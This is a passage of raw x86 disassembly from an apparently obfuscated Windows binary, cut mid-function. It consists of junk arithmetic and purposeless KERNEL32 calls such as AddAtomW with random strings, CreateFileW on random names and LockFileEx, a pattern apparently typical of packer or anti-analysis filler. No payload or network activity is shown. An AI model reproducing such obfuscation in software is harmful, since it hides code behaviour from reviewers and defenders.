mov byte [ebp - 0x27d], al
mov ecx, dword [ebp - 0x374c]
movzx edx, word [ecx]
mov eax, dword [0x100b95f0]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x1150], dx
mov edx, dword [ebp - 0x35d0]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x33ec]
movzx edx, word [ecx]
and eax, edx
mov ecx, dword [0x100b9830]
mov word [ecx], ax
mov edx, dword [ebp - 0x3690]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x35f4]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0xf1], al
lea eax, [ebp - 0xaec4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0
push 2
push 0
push 0
push 4
push 0xc0000000
push str.HKnGjWy1FFBjHGy8LIUQI1t
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100b9b0c], eax
lea ecx, [ebp - 0xaec4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [0x100b9b10], 0x100b9524
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3908], eax
movsx edx, word [0x100b94f4]
mov eax, dword [ebp - 0x3698]
movsx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x7d8], dx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9b14], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b993c], eax
lea ecx, [ebp - 0x1b2]
mov dword [ebp - 0x390c], ecx
push 0
push 0x3e78
push 0x2bb2
push 0x57f4
push 1
mov edx, dword [ebp - 0x36a4]
push edx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [0x100b9af4], eax
mov eax, dword [ebp - 0x37dc]
mov dword [0x100b9b18], eax
movzx ecx, word [ebp - 0x1150]
movzx edx, word [ebp - 0x6f0]
imul ecx, edx
mov eax, dword [ebp - 0x3830]
mov word [eax], cx
lea ecx, [ebp - 0x2b2c]
mov dword [ebp - 0x3910], ecx
mov edx, dword [ebp - 0x35bc]
movsx eax, word [edx]
mov ecx, dword [0x100b99ac]
movsx edx, word [ecx]
xor eax, edx
mov word [0x100b95ec], ax
push 0x100a4eb0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x122c], ax
mov eax, dword [ebp - 0x35d8]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x3634]
mov dword [ebp - 0x3804], ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100b9b1c], eax
mov edx, dword [ebp - 0x3704]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3548]
movzx ecx, byte [ecx]
sar eax, cl
mov edx, dword [ebp - 0x3884]
mov byte [edx], al
mov eax, dword [ebp - 0x34d0]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x27d]
add ecx, edx
mov eax, dword [0x100b9724]
mov byte [eax], cl
mov ecx, dword [ebp - 0x371c]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x278]
and edx, eax
mov byte [ebp - 0x11f], dl
mov ecx, dword [ebp - 0x36f8]
mov edx, dword [ebp - 0x33e8]
mov eax, dword [ecx]
imul eax, dword [edx]
mov ecx, dword [ebp - 0x37c0]
mov dword [ecx], eax
mov dl, byte [ebp - 0x1b2]
mov byte [0x100b7efb], dl
lea eax, [ebp - 0x768]
mov dword [ebp - 0x3914], eax
movzx edx, word [ebp - 0x1228]
movzx ecx, word [0x100b71d4]
shl edx, cl
mov word [ebp - 0xbdc], dx
mov eax, dword [ebp - 0x36bc]
mov ecx, dword [ebp - 0x350c]
mov edx, dword [eax]
xor edx, dword [ecx]
mov dword [0x100b7248], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x33c8], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9b20], eax
mov eax, dword [0x100b9afc]
mov cl, byte [eax]
mov byte [ebp - 0x27e], cl
mov eax, dword [0x100b7200]
cdq
idiv dword [ebp - 0x36b0]
mov edx, dword [ebp - 0x3900]
mov dword [edx], eax
movzx eax, byte [ebp - 0x8f]
mov ecx, dword [ebp - 0x36f4]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [0x100b9904]
mov byte [ecx], al
lea edx, [ebp - 0xa10]
mov dword [ebp - 0x3918], edx
lea eax, [ebp - 0xd08]
mov dword [ebp - 0x391c], eax
push str.1KcgX_jLzV7e
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1230], ax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x3920], eax
lea ecx, [ebp - 0x2e]
mov dword [0x100b9b24], ecx
movzx edx, word [0x100b9ac4]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1208], ax
push 0x100b9b28
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x374c]
movzx edx, word [eax]
movzx ecx, word [ebp - 0xdf0]
sar edx, cl
mov word [ebp - 0x1138], dx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3924], eax
push 0x16b0
push 0
push 0x100b94fc
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x3728], eax
push str.XO_ENU
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9b4c], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b99dc], eax
mov eax, dword [0x100b958c]
mov ecx, dword [ebp - 0x364c]
mov edx, dword [eax]
or edx, dword [ecx]
mov dword [ebp - 0x2db8], edx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3364], eax
mov eax, dword [0x100b983c]
and eax, dword [0x100b97f8]
mov ecx, dword [0x100b9a4c]
mov dword [ecx], eax
mov dl, byte [ebp - 0x3d]
mov byte [ebp - 0x27f], dl
movsx eax, word [ebp - 0xe98]
mov ecx, dword [0x100b9558]
movsx edx, word [ecx]
xor eax, edx
mov word [ebp - 0x788], ax
mov eax, dword [0x100b9ab4]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x34d0]
movsx eax, byte [edx]
sub ecx, eax
mov edx, dword [0x100b998c]
mov byte [edx], cl
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100b9b50], eax
mov eax, dword [ebp - 0x35d0]
movzx edx, word [eax]
mov eax, dword [ebp - 0x3808]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x38c4]
mov word [ecx], dx
lea edx, [ebp - 0x33b4]
mov dword [ebp - 0x3928], edx
push str.xlcJHH
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1234], ax
mov eax, dword [ebp - 0x3770]
mov ecx, dword [eax]
mov dword [0x100b9b54], ecx
mov edx, dword [ebp - 0x3884]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x37c4]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x276], al
movzx eax, word [0x100b9520]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1188], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x392c], eax
movsx edx, byte [ebp - 0x272]
mov eax, dword [ebp - 0x38dc]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x267], dl
movsx ecx, word [ebp - 0xca8]
movsx edx, word [ebp - 0xa44]
and ecx, edx
mov word [0x100b94a0], cx
lea eax, [ebp - 0x1158]
mov dword [ebp - 0x3930], eax
mov dword [ebp - 0x3934], 0x100b7244
push str.xPDB_CoJw7KZ
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9b58], ax
mov dword [0x100b9b5c], 0x100b7166
movzx ecx, word [ebp - 0x1224]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9848], ax
mov edx, dword [ebp - 0x33f4]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x5f]
or eax, ecx
mov byte [ebp - 0x265], al
lea edx, [ebp - 0x326c]
mov dword [ebp - 0x3938], edx
push str.8MIRnn_LjGEv17_rR
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9b60], ax
movzx eax, word [ebp - 0xd80]
movzx ecx, word [ebp - 0x618]
xor eax, ecx
mov word [0x100b9668], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x393c], eax
movzx edx, word [ebp - 0x116c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b96e0], ax
mov eax, dword [ebp - 0x362c]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x34ac]
movsx eax, word [edx]
xor ecx, eax
mov edx, dword [ebp - 0x38f0]
mov word [edx], cx
mov eax, dword [ebp - 0x3714]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x2cfc]
mov edx, dword [ebp - 0x36a8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x38d8]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0x270]
shl edx, cl
mov byte [0x100b717b], dl
lea eax, [ebp - 0x260]
mov dword [ebp - 0x3940], eax
movzx ecx, word [0x100b71f4]
movzx edx, word [ebp - 0xbdc]
and ecx, edx
mov word [ebp - 0x1178], cx
lea eax, [ebp - 0x618]
mov dword [0x100b9b64], eax
mov ecx, dword [ebp - 0x3654]
mov dword [ebp - 0x3944], ecx
push 0x4e0
push 0
push 0x100b98f0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x3948], eax
movsx edx, word [0x100b94a0]
mov eax, dword [ebp - 0x38f0]
movsx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x608], dx
mov ecx, dword [ebp - 0x3758]
mov edx, dword [ebp - 0x3170]
imul edx, dword [ecx]
mov dword [0x100b71f8], edx
movzx eax, word [ebp - 0x113c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9b68], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x394c], eax
mov ecx, dword [ebp - 0x37e4]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x1f4]
xor edx, eax
mov byte [ebp - 0x54], dl
mov ecx, dword [0x100b9660]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3454]
movzx ecx, byte [eax]
add edx, ecx
mov byte [0x100b7182], dl
push 0
push 0x200
push 1
push 0
push 8
push 0x40000000
push str.WbpWqjPUJxVkkSSJdp1YQ
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100b9b6c], eax
lea edx, [ebp - 0x84c]
mov dword [ebp - 0x3950], edx
mov eax, dword [ebp - 0x3800]
mov ecx, dword [ebp - 0x36a8]
mov edx, dword [eax]
or edx, dword [ecx]
mov dword [ebp - 0x3458], edx
mov eax, dword [ebp - 0x37ac]
mov ecx, dword [ebp - 0x385c]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [0x100b98b0]
mov dword [eax], edx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9aec], eax
movsx ecx, word [0x100b9aa8]
movsx edx, word [ebp - 0x1160]
sub ecx, edx
mov word [ebp - 0xb8c], cx
movsx eax, byte [0x100b7e6a]
mov ecx, dword [ebp - 0x36d0]
movsx ecx, byte [ecx]
shl eax, cl
mov byte [ebp - 0x120], al
lea edx, [ebp - 0x26f]
mov dword [0x100b9b70], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x3954], eax
mov eax, dword [ebp - 0x372c]
movsx edx, byte [eax]
mov eax, dword [ebp - 0x3490]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x37b8]
mov byte [ecx], dl
mov edx, dword [ebp - 0x3714]
mov eax, dword [edx]
mov dword [ebp - 0x3958], eax
mov ecx, dword [ebp - 0x3650]
movzx edx, word [ecx]
mov eax, dword [0x100b99d8]
movzx ecx, word [eax]
xor edx, ecx
mov eax, dword [0x100b9544]
mov word [eax], dx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100b9b74], eax
movzx ecx, word [ebp - 0x119c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b98bc], ax
lea edx, [ebp - 0xb8c]
mov dword [ebp - 0x395c], edx
mov eax, dword [0x100b99e4]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x3654]
mov edx, dword [ebp - 0x36bc]
mov dword [edx], ecx
mov eax, dword [0x100b9904]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x38fc]
movzx eax, byte [edx]
and ecx, eax
mov edx, dword [0x100b9808]
mov byte [edx], cl
push str.Rby4zO9QqUajyb_Z6ICXQ_4CsmT
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1238], ax
movsx eax, byte [ebp - 0x270]
movsx ecx, byte [ebp - 0xef]
xor eax, ecx
mov byte [ebp - 0x18c], al
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3864], eax
mov edx, dword [0x100b9620]
mov eax, dword [ebp - 0x359c]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [ebp - 0x37cc], ecx
push 0x100b9b78
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [ebp - 0x3830]
mov ax, word [edx]
mov word [0x100b9b9c], ax
lea ecx, [ebp - 0x5c4]
mov dword [ebp - 0x3960], ecx
mov edx, dword [ebp - 0x3950]
movzx eax, word [edx]
cdq
mov ecx, 0x8f3
idiv ecx
mov edx, dword [ebp - 0x3660]
mov word [edx], ax
push 0x4ef
push 0
push 0x100b98dc
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x3588], eax
mov eax, dword [ebp - 0x3454]
mov cl, byte [eax]
mov byte [0x100b7f02], cl
lea edx, [ebp - 0x3028]
mov dword [ebp - 0x3964], edx
mov eax, dword [0x100b96f4]
mov ecx, dword [ebp - 0x3478]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x33d4], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9ba0], eax
movsx eax, byte [0x100b717b]
movsx ecx, byte [ebp - 0x269]
sar eax, cl
mov byte [0x100b7e02], al
lea ecx, [ebp - 0x9c58]
push ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx edx, word [0x100b7218]
mov eax, dword [0x100b9730]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x11a8], dx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9680], eax
mov edx, dword [ebp - 0x384c]
mov ax, word [edx]
mov word [ebp - 0x123c], ax
mov ecx, dword [ebp - 0x35f4]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x17c]
and edx, eax
mov byte [0x100b7183], dl
movzx ecx, word [ebp - 0x1174]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1240], ax
mov edx, dword [ebp - 0x3884]
movzx eax, byte [edx]
movzx ecx, byte [0x100b712e]
xor eax, ecx
mov byte [ebp - 0x1dc], al
mov edx, dword [0x100b95f8]
mov eax, dword [ebp - 0x326c]
add eax, dword [edx]
mov dword [ebp - 0x3654], eax
mov ecx, dword [ebp - 0x3760]
mov edx, dword [ebp - 0x3928]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [0x100b994c]
mov dword [ecx], eax
mov dl, byte [ebp - 0x27a]
mov byte [ebp - 0x280], dl
movzx eax, word [ebp - 0xb0c]
mov ecx, dword [0x100b9544]
movzx edx, word [ecx]
or eax, edx
mov ecx, dword [ebp - 0x3830]
mov word [ecx], ax
mov edx, dword [ebp - 0x3684]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1160]
shl eax, cl
mov ecx, dword [0x100b99d0]
mov word [ecx], ax
push str.aaT_WtFmvhE3Q64xs
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9ba4], ax
movzx edx, byte [0x100b7e57]
movzx ecx, byte [ebp - 0x21a]
sar edx, cl
mov byte [ebp - 0xe7], dl
mov eax, dword [ebp - 0x3628]
mov ecx, dword [eax]
and ecx, dword [0x100b71e0]
mov dword [ebp - 0x3858], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x33d8], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b96dc], eax
lea edx, [ebp - 0x1210]
mov dword [0x100b9ba8], edx
mov eax, dword [ebp - 0x36b8]
mov dword [ebp - 0x3968], eax
mov ecx, dword [ebp - 0x35c4]
movsx edx, byte [ecx]
imul eax, edx, 0x63
mov byte [ebp - 0x87], al
lea ecx, [ebp - 0xb8c]
mov dword [0x100b9bac], ecx
movzx edx, byte [ebp - 0x26f]
mov eax, dword [ebp - 0x3534]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x3704]
mov byte [eax], dl
mov ecx, dword [ebp - 0x37f4]
mov edx, dword [ecx]
and edx, dword [ebp - 0x3748]
mov dword [ebp - 0x3068], edx
mov eax, dword [ebp - 0x35f4]
movsx edx, byte [eax]
mov eax, dword [ebp - 0x381c]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [0x100b9654]
mov byte [ecx], dl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x396c], eax
mov edx, dword [ebp - 0x374c]
mov ax, word [edx]
mov word [ebp - 0x1244], ax
movzx edx, word [ebp - 0x11a0]
mov eax, dword [ebp - 0x3834]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x36e4]
mov word [ecx], dx
lea edx, [ebp - 0x3968]
mov dword [0x100b9bb0], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9bb4], eax
push 0x100b9b78
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0
push 0x10
push 2
push 0
push 1
push 0x80000000
push str.fs2h7jZbYQ2icXlEpgBRqk
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3970], eax
movsx eax, word [0x100b7240]
movsx ecx, word [ebp - 0x5a0]
or eax, ecx
mov edx, dword [ebp - 0x35ac]
mov word [edx], ax
lea eax, [ebp - 0x3d]
mov dword [ebp - 0x3974], eax
mov ecx, dword [0x100b96f4]
mov edx, dword [ecx]
xor edx, dword [0x100b983c]
mov eax, dword [0x100b9620]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3624]
movsx edx, byte [ecx]
mov eax, dword [0x100b9818]
movsx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x15], dl
mov edx, dword [ebp - 0x3678]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1228]
add eax, ecx
mov edx, dword [ebp - 0x3808]
mov word [edx], ax
lea eax, [ebp - 0x11c0]
mov dword [0x100b9bb8], eax
push str.F8ie
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9bbc], ax
mov dword [ebp - 0x3978], 0x100b7e0e
mov ecx, dword [ebp - 0x3860]
mov edx, dword [ecx]
and edx, dword [ebp - 0x34c0]
mov eax, dword [0x100b96e4]
mov dword [eax], edx
movsx edx, word [ebp - 0x7d8]
mov eax, dword [0x100b9938]
movsx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x3450]
mov word [ecx], dx
mov dl, byte [ebp - 0x1fd]
mov byte [ebp - 0x281], dl
lea eax, [ebp - 0x3068]
mov dword [0x100b9bc0], eax
push 0
push 0x345b
push 0x334c
push 0x28ff
push 2
mov ecx, dword [ebp - 0x38f8]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [0x100b974c], eax
mov edx, dword [ebp - 0x3428]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x618]
sub eax, ecx
mov edx, dword [ebp - 0x3678]
mov word [edx], ax
mov eax, dword [ebp - 0x3758]
mov ecx, dword [ebp - 0x3628]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x2d68], edx
movsx eax, word [0x100b7240]
mov ecx, dword [ebp - 0x384c]
movsx edx, word [ecx]
or eax, edx
mov word [0x100b7220], ax
mov eax, dword [ebp - 0x3964]
mov ecx, dword [ebp - 0x2c7c]
add ecx, dword [eax]
mov dword [ebp - 0x2ef4], ecx
movzx edx, byte [0x100b712e]
mov eax, dword [0x100b9660]
movzx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x3704]
mov byte [eax], dl
mov ecx, dword [ebp - 0x35f4]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x27d]
sar edx, cl
mov byte [0x100b717a], dl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x397c], eax
mov eax, dword [0x100b9afc]
mov cl, byte [eax]
mov byte [ebp - 0x282], cl
mov dword [ebp - 0x3980], 0x100b983c
lea edx, [ebp - 0x1a5]
mov dword [0x100b9bc4], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3820], eax
mov eax, dword [0x100b9880]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x3840]
movsx eax, word [edx]
xor ecx, eax
mov word [ebp - 0x1144], cx
movzx edx, word [ebp - 0x121c]
movzx ecx, word [ebp - 0x594]
shl edx, cl
mov eax, dword [ebp - 0x33dc]
mov word [eax], dx
mov ecx, dword [ebp - 0x37ec]
add ecx, dword [0x100b9b54]
mov dword [0x100b7208], ecx
lea edx, [ebp - 0x87]
mov dword [ebp - 0x3984], edx
mov eax, dword [ebp - 0x359c]
mov ecx, dword [ebp - 0x38e8]
and ecx, dword [eax]
mov edx, dword [ebp - 0x3800]
mov dword [edx], ecx
mov eax, dword [ebp - 0x38fc]
mov cl, byte [eax]
mov byte [0x100b7f03], cl
movzx edx, word [ebp - 0x1100]
movzx eax, word [ebp - 0xb0c]
or edx, eax
mov word [ebp - 0xf80], dx
lea ecx, [ebp - 0x1130]
mov dword [ebp - 0x3988], ecx
mov edx, dword [0x100b9654]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x381c]
movsx ecx, byte [ecx]
sar eax, cl
mov byte [0x100b7e73], al
mov edx, dword [ebp - 0x3650]
movzx eax, word [edx]
mov ecx, dword [0x100b9830]
movzx edx, word [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x33dc]
mov word [ecx], ax
mov edx, dword [ebp - 0x3848]
mov eax, dword [ebp - 0x2e08]
add eax, dword [edx]
mov dword [ebp - 0x34c0], eax
mov ecx, dword [ebp - 0x3838]
and ecx, dword [ebp - 0x2c90]
mov dword [0x100b724c], ecx
mov edx, dword [0x100b950c]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea eax, [ebp - 0x91]
mov dword [ebp - 0x398c], eax
mov cx, word [ebp - 0x11e0]
mov word [ebp - 0x1248], cx
mov edx, dword [ebp - 0x3690]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x3824]
movsx edx, byte [ecx]
sub eax, edx
mov byte [0x100b7186], al
movzx eax, word [ebp - 0x59c]
mov ecx, dword [ebp - 0x3540]
movzx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0x11c0], ax
mov edx, dword [ebp - 0x3744]
imul edx, dword [ebp - 0x2d68]
mov eax, dword [ebp - 0x3910]
mov dword [eax], edx
mov ecx, dword [0x100b958c]
mov edx, dword [ecx]
or edx, dword [0x100b9b54]
mov eax, dword [0x100b958c]
mov dword [eax], edx
mov cl, byte [ebp - 0x91]
mov byte [ebp - 0x283], cl
mov edx, dword [ebp - 0x35f0]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x35c4]
movsx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x1ab], al
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x3990], eax
movsx edx, word [ebp - 0x1140]
movsx eax, word [ebp - 0x123c]
add edx, eax
mov word [0x100b9aa8], dx
mov ecx, dword [ebp - 0x3670]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x3818]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x33b8]
mov word [eax], dx
mov dword [ebp - 0x3994], 0x100b7244
mov ecx, dword [ebp - 0x37e4]
mov dl, byte [ecx]
mov byte [0x100b7f0a], dl
movzx eax, byte [ebp - 0x4e]
movzx ecx, byte [0x100b7e0f]
shl eax, cl
mov ecx, dword [ebp - 0x386c]
mov byte [ecx], al
mov edx, dword [ebp - 0x37ac]
mov eax, dword [ebp - 0x3080]
xor eax, dword [edx]
mov dword [ebp - 0x2ec4], eax
push str.Ek6ed_J_h4QlI_WcmdB4H
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9bc8], ax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9a48], eax
movzx ecx, word [0x100b98f8]
mov edx, dword [ebp - 0x37fc]
movzx eax, word [edx]
xor ecx, eax
mov edx, dword [0x100b9830]
mov word [edx], cx
lea eax, [ebp - 0xa44]
mov dword [ebp - 0x3998], eax
lea ecx, [ebp - 0x3458]
mov dword [ebp - 0x399c], ecx
mov edx, dword [0x100b96ec]
mov al, byte [edx]
mov byte [0x100b7f0b], al
movzx ecx, word [ebp - 0x1198]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x124c], ax
push 0x100b9bcc
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov edx, dword [ebp - 0x386c]
movzx eax, byte [edx]
movzx ecx, byte [0x100b7dff]
add eax, ecx
mov edx, dword [ebp - 0x387c]
mov byte [edx], al
lea eax, [ebp - 0x97c]
mov dword [ebp - 0x39a0], eax
mov ecx, dword [ebp - 0x3650]
movzx edx, word [ecx]
movzx ecx, word [0x100b71f4]
sar edx, cl
mov eax, dword [0x100b9b64]
mov word [eax], dx
mov ecx, dword [ebp - 0x3964]
mov edx, dword [0x100b952c]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [ebp - 0x35d8]
mov dword [ecx], eax
lea edx, [ebp - 0x768]
mov dword [ebp - 0x39a4], edx
mov eax, dword [ebp - 0x2b3c]
and eax, dword [ebp - 0x35e0]
mov dword [0x100b7250], eax
mov ecx, dword [ebp - 0x36d0]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0xf1]
xor edx, eax
mov ecx, dword [ebp - 0x372c]
mov byte [ecx], dl
lea edx, [ebp - 0x27f]
mov dword [0x100b9be4], edx
lea eax, [ebp - 0x108c]
mov dword [ebp - 0x39a8], eax
push str.CgRdxJ83H
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9be8], ax
mov ecx, dword [ebp - 0x2b2c]
sub ecx, dword [ebp - 0x33b4]
mov dword [ebp - 0x38e8], ecx
mov edx, dword [ebp - 0x385c]
mov eax, dword [ebp - 0x35d8]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [0x100b9b10]
mov dword [eax], edx
mov dword [ebp - 0x39ac], 0x100b9974
mov ecx, dword [ebp - 0x36d0]
movsx edx, byte [ecx]
mov eax, dword [0x100b9b5c]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x15], dl
lea edx, [ebp - 0x140]
mov dword [0x100b9bec], edx
mov eax, dword [ebp - 0x3490]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0x270]
sar edx, cl
mov byte [ebp - 0xbc], dl
mov eax, dword [ebp - 0x36a8]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x35e0]
mov dword [ebp - 0x3068], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3738], eax
movzx edx, word [ebp - 0x1148]
imul eax, edx, 0x9bf
mov ecx, dword [0x100b9a2c]
mov word [ecx], ax
mov edx, dword [ebp - 0x365c]
mov ax, word [edx]
mov word [ebp - 0x1250], ax
mov ecx, dword [ebp - 0x38cc]
mov edx, dword [ebp - 0x3028]
or edx, dword [ecx]
mov dword [ebp - 0x2ba4], edx
movzx eax, byte [0x100b7e2a]
mov ecx, dword [ebp - 0x3534]
movzx edx, byte [ecx]
xor eax, edx
mov byte [0x100b7187], al
lea eax, [ebp - 0x278]
mov dword [ebp - 0x39b0], eax
mov ecx, dword [0x100b9584]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x37b0]
mov dword [ebp - 0x3068], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x39b4], eax
movzx eax, word [ebp - 0xd80]
mov ecx, dword [0x100b9b64]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [0x100b9544]
mov word [ecx], ax
lea edx, [ebp - 0x1144]
mov dword [ebp - 0x39b8], edx
mov eax, dword [0x100b9a2c]
movzx edx, word [eax]
mov eax, dword [ebp - 0x3898]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0xdf0], dx
movzx ecx, word [0x100b9ac4]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9b68], ax
movzx edx, word [ebp - 0x11f0]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x117c], ax
movzx eax, byte [ebp - 0x281]
movzx ecx, byte [0x100b7ec7]
and eax, ecx
